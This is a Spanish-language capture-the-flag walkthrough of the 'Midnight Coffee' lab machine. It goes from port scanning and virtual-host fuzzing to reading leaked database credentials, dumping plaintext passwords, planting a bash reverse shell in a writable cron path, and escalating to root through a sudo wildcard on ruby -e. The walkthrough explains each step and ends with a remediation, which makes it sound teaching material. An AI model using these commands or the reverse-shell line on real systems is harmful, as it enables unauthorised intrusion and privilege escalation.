Enumeración de servicios
Comenzamos con un escaneo general y específico:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-05 00:16 -03
Nmap scan report for 192.168.1.31
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 81:a4:52:2b:14:3f:13:68:2b:e2:5b:c4:7b:d7:1a:a5 (ECDSA)
|_ 256 25:19:09:29:2f:b8:ea:b4:29:1f:6d:e7:13:d6:be:7e (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Under Construction - Midnight Coffee
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 secondsEnumeramos con gobuster:
❯ gobuster dir -u 192.168.1.31 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/index.html (Status: 200) [Size: 1690]
/shop (Status: 301) [Size: 311] [--> http://192.168.1.31/shop/]
...Descubrimos el dominio midnight.coffee, que añadimos al /etc/hosts, y fuzzeamos virtual hosts con wfuzz, encontrando dev:
❯ wfuzz -u 'http://midnight.coffee' -H 'Host: FUZZ.midnight.coffee' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1690
...
000000019: 200 71 L 152 W 1738 Ch "dev"
...Apache puede servir sitios diferentes desde una misma IP según el encabezado HTTP Host. Por eso una enumeración de directorios sobre la IP no basta: wfuzz mantiene el destino y cambia ese encabezado. El tamaño distinto al de la respuesta base permite separar dev.midnight.coffee de los nombres inexistentes.
Enumeración web y acceso inicial
En dev.midnight.coffee encontramos unas credenciales con las que accedemos al dashboard de midnight.coffee. Allí obtenemos credenciales SSH del usuario tuna. Ya dentro, en el código del sitio encontramos las credenciales de la base de datos:
$host = 'localhost';
$username = 'shopadmin';
$password = '1_4m_4dmin';
$database = 'midnightcoffee';Nos conectamos a la base de datos y volcamos la tabla users:
+----+-----------+--------------------------------------------------------------+----------------------------------+
| id | username | password | auth_token |
+----+-----------+--------------------------------------------------------------+----------------------------------+
| 1 | shopadmin | $2a$12$yqH60OJyTqoPHXe1g1cGDu93me1v.wGcEEZV5rLy39stUJO.Xsjwi | NULL |
| 2 | tuna | 1L0v3_TuN4_Very_Much | NULL |
| 3 | developer | developer | 15958add0f7786495b7ae8776f062d96 |
+----+-----------+--------------------------------------------------------------+----------------------------------+Las credenciales de conexión a MySQL no equivalen automáticamente a una contraseña del sistema. Su valor aquí es permitir leer los datos de la aplicación: la tabla confirma la contraseña de tuna y muestra la existencia de shopadmin, pero el hash bcrypt de este último no necesita romperse porque existe una vía de movimiento lateral mediante cron.
Movimiento lateral a shopadmin
Para escalar, revisamos las tareas cron:
tuna@coffee-shop:/tmp$ cat /etc/crontab
...
* * * * * /bin/bash /home/shopadmin/execute.sh
...Inspeccionamos el script (tenemos lectura):
tuna@coffee-shop:~$ ls -l /home/shopadmin/execute.sh
-rwxrwxr-x 1 shopadmin shopadmin 33 Jan 3 18:37 /home/shopadmin/execute.sh
tuna@coffee-shop:~$ cat /home/shopadmin/execute.sh
#!/bin/bash
/bin/bash /tmp/*.shEl comodín se expande con todos los archivos terminados en .sh dentro de /tmp, un directorio escribible por usuarios sin privilegios. Como la tarea se ejecuta con la identidad de shopadmin, cualquier script que coloquemos allí heredará sus permisos. Dejamos una reverse shell y esperamos a la siguiente ejecución:
tuna@coffee-shop:/tmp$ cat reverse.sh
bash -i >& /dev/tcp/192.168.1.10/1234 0>&1Escalada de privilegios
Tras un minuto, obtenemos acceso como shopadmin y la primera flag. Continuamos con sudo -l:
shopadmin@coffee-shop:~$ sudo -l
Matching Defaults entries for shopadmin on coffee-shop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User shopadmin may run the following commands on coffee-shop:
(root) NOPASSWD: /usr/bin/ruby * /opt/shop.rbLa regla permite un Sudo-Allowed Program Abuse. Aunque parece restringida a /opt/shop.rb, el comodín situado entre el intérprete y el script admite argumentos adicionales. Ruby procesa -e como una opción propia antes de abrir /opt/shop.rb, de modo que ejecuta nuestra expresión con la identidad asignada por sudo:
shopadmin@coffee-shop:~$ sudo /usr/bin/ruby -e "exec '/bin/bash'" /opt/shop.rb
root@coffee-shop:/home/shopadmin#Obtenemos acceso root y capturamos la flag. El punto decisivo no es que Ruby sea vulnerable, sino que la política de sudo permite controlar sus opciones. Para corregirlo habría que eliminar el comodín y autorizar una operación cerrada que no exponga un intérprete de propósito general.
Fin.